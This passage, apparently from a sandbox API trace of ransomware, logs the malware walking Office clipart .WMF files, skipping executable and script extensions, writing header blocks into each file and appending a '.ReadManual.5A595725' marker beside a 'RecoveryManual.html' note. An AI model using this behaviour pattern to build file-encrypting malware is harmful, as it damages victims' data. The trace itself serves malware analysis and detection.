dwMaximumSizeLow=0x3734, lpName=0x0) returned 0x184 [0267.044] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.044] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.044] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.046] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.046] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3734) returned 0x2f0000 [0267.046] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.047] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38771539971) returned 1 [0267.047] CloseHandle (hObject=0x184) returned 1 [0267.047] SetSecurityInfo () returned 0x57 [0267.047] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.047] CloseHandle (hObject=0x194) returned 1 [0267.047] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5642c4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x406c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0152432.WMF", cAlternateFileName="")) returned 1 [0267.047] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0152432.WMF" | out: lpString1="J0152432.WMF") returned="J0152432.WMF" [0267.047] lstrcmpiW (lpString1="J0152432.WMF", lpString2="RecoveryManual.html") returned -1 [0267.047] StrStrIW (lpFirst="J0152432.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.047] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0267.047] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0267.047] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0267.047] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0267.047] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0267.047] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0267.047] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0267.047] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0267.047] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0267.047] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0267.047] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0267.047] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0267.047] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0267.048] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0267.048] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152432.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152432.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152432.WMF" [0267.048] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152432.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152432.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152432.WMF.ReadManual.5A595725" [0267.048] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152432.WMF.ReadManual.5A595725") returned 87 [0267.048] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38771641849) returned 1 [0267.048] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152432.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152432.wmf")) returned 0x20 [0267.048] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152432.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152432.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.048] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=16492) returned 1 [0267.048] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x406c, lpName=0x0) returned 0x184 [0267.048] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.049] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.049] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.051] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.051] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x406c) returned 0x2f0000 [0267.051] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.051] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38772018770) returned 1 [0267.051] CloseHandle (hObject=0x184) returned 1 [0267.052] SetSecurityInfo () returned 0x57 [0267.052] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.052] CloseHandle (hObject=0x194) returned 1 [0267.052] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2c4c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0152436.WMF", cAlternateFileName="")) returned 1 [0267.052] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0152436.WMF" | out: lpString1="J0152436.WMF") returned="J0152436.WMF" [0267.052] lstrcmpiW (lpString1="J0152436.WMF", lpString2="RecoveryManual.html") returned -1 [0267.052] StrStrIW (lpFirst="J0152436.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.052] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0267.052] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0267.052] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0267.052] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0267.052] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0267.052] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0267.052] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0267.052] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0267.052] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0267.052] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0267.052] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0267.052] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0267.052] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0267.052] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0267.052] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152436.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152436.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152436.WMF" [0267.052] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152436.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152436.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152436.WMF.ReadManual.5A595725" [0267.052] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152436.WMF.ReadManual.5A595725") returned 87 [0267.052] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38772117046) returned 1 [0267.052] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152436.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152436.wmf")) returned 0x20 [0267.053] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152436.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152436.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.053] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=11340) returned 1 [0267.053] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2c4c, lpName=0x0) returned 0x184 [0267.053] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.054] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.054] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.055] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.056] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2c4c) returned 0x2f0000 [0267.056] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.056] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38772466465) returned 1 [0267.056] CloseHandle (hObject=0x184) returned 1 [0267.056] SetSecurityInfo () returned 0x57 [0267.056] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.056] CloseHandle (hObject=0x194) returned 1 [0267.056] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4030, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0152556.WMF", cAlternateFileName="")) returned 1 [0267.056] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0152556.WMF" | out: lpString1="J0152556.WMF") returned="J0152556.WMF" [0267.056] lstrcmpiW (lpString1="J0152556.WMF", lpString2="RecoveryManual.html") returned -1 [0267.056] StrStrIW (lpFirst="J0152556.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.056] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0267.056] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0267.056] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0267.056] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0267.056] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0267.056] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0267.057] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0267.057] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0267.057] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0267.057] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0267.057] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0267.057] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0267.057] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0267.057] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0267.057] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152556.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152556.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152556.WMF" [0267.057] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152556.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152556.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152556.WMF.ReadManual.5A595725" [0267.057] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152556.WMF.ReadManual.5A595725") returned 87 [0267.057] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38772564899) returned 1 [0267.057] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152556.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152556.wmf")) returned 0x20 [0267.057] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152556.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152556.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.057] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=16432) returned 1 [0267.057] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4030, lpName=0x0) returned 0x184 [0267.058] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.058] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.058] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.060] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.060] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4030) returned 0x2f0000 [0267.060] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.060] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38772924941) returned 1 [0267.061] CloseHandle (hObject=0x184) returned 1 [0267.061] SetSecurityInfo () returned 0x57 [0267.061] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.061] CloseHandle (hObject=0x194) returned 1 [0267.061] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3eb4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0152558.WMF", cAlternateFileName="")) returned 1 [0267.061] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0152558.WMF" | out: lpString1="J0152558.WMF") returned="J0152558.WMF" [0267.061] lstrcmpiW (lpString1="J0152558.WMF", lpString2="RecoveryManual.html") returned -1 [0267.061] StrStrIW (lpFirst="J0152558.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.061] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0267.061] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0267.061] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0267.061] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0267.061] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0267.061] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0267.061] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0267.061] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0267.061] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0267.061] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0267.061] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0267.061] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0267.061] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0267.061] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0267.061] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152558.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152558.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152558.WMF" [0267.061] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152558.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152558.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152558.WMF.ReadManual.5A595725" [0267.061] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152558.WMF.ReadManual.5A595725") returned 87 [0267.061] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38773021201) returned 1 [0267.061] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152558.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152558.wmf")) returned 0x20 [0267.062] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152558.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152558.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.062] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=16052) returned 1 [0267.062] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3eb4, lpName=0x0) returned 0x184 [0267.062] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.063] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.063] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.065] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.065] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3eb4) returned 0x2f0000 [0267.065] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.065] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38773384622) returned 1 [0267.065] CloseHandle (hObject=0x184) returned 1 [0267.065] SetSecurityInfo () returned 0x57 [0267.065] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.065] CloseHandle (hObject=0x194) returned 1 [0267.065] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5642c4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2a80, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0152560.WMF", cAlternateFileName="")) returned 1 [0267.065] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0152560.WMF" | out: lpString1="J0152560.WMF") returned="J0152560.WMF" [0267.065] lstrcmpiW (lpString1="J0152560.WMF", lpString2="RecoveryManual.html") returned -1 [0267.066] StrStrIW (lpFirst="J0152560.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.066] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0267.066] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0267.066] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0267.066] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0267.066] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0267.066] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0267.066] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0267.066] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0267.066] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0267.066] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0267.066] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0267.066] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0267.066] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0267.066] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0267.066] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152560.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152560.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152560.WMF" [0267.066] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152560.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152560.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152560.WMF.ReadManual.5A595725" [0267.066] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152560.WMF.ReadManual.5A595725") returned 87 [0267.066] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38773484014) returned 1 [0267.066] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152560.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152560.wmf")) returned 0x20 [0267.080] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152560.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152560.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.081] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=10880) returned 1 [0267.081] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2a80, lpName=0x0) returned 0x184 [0267.081] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.081] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.081] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.084] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.084] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2a80) returned 0x2f0000 [0267.084] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.084] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38775304273) returned 1 [0267.084] CloseHandle (hObject=0x184) returned 1 [0267.084] SetSecurityInfo () returned 0x57 [0267.084] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.085] CloseHandle (hObject=0x194) returned 1 [0267.085] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, 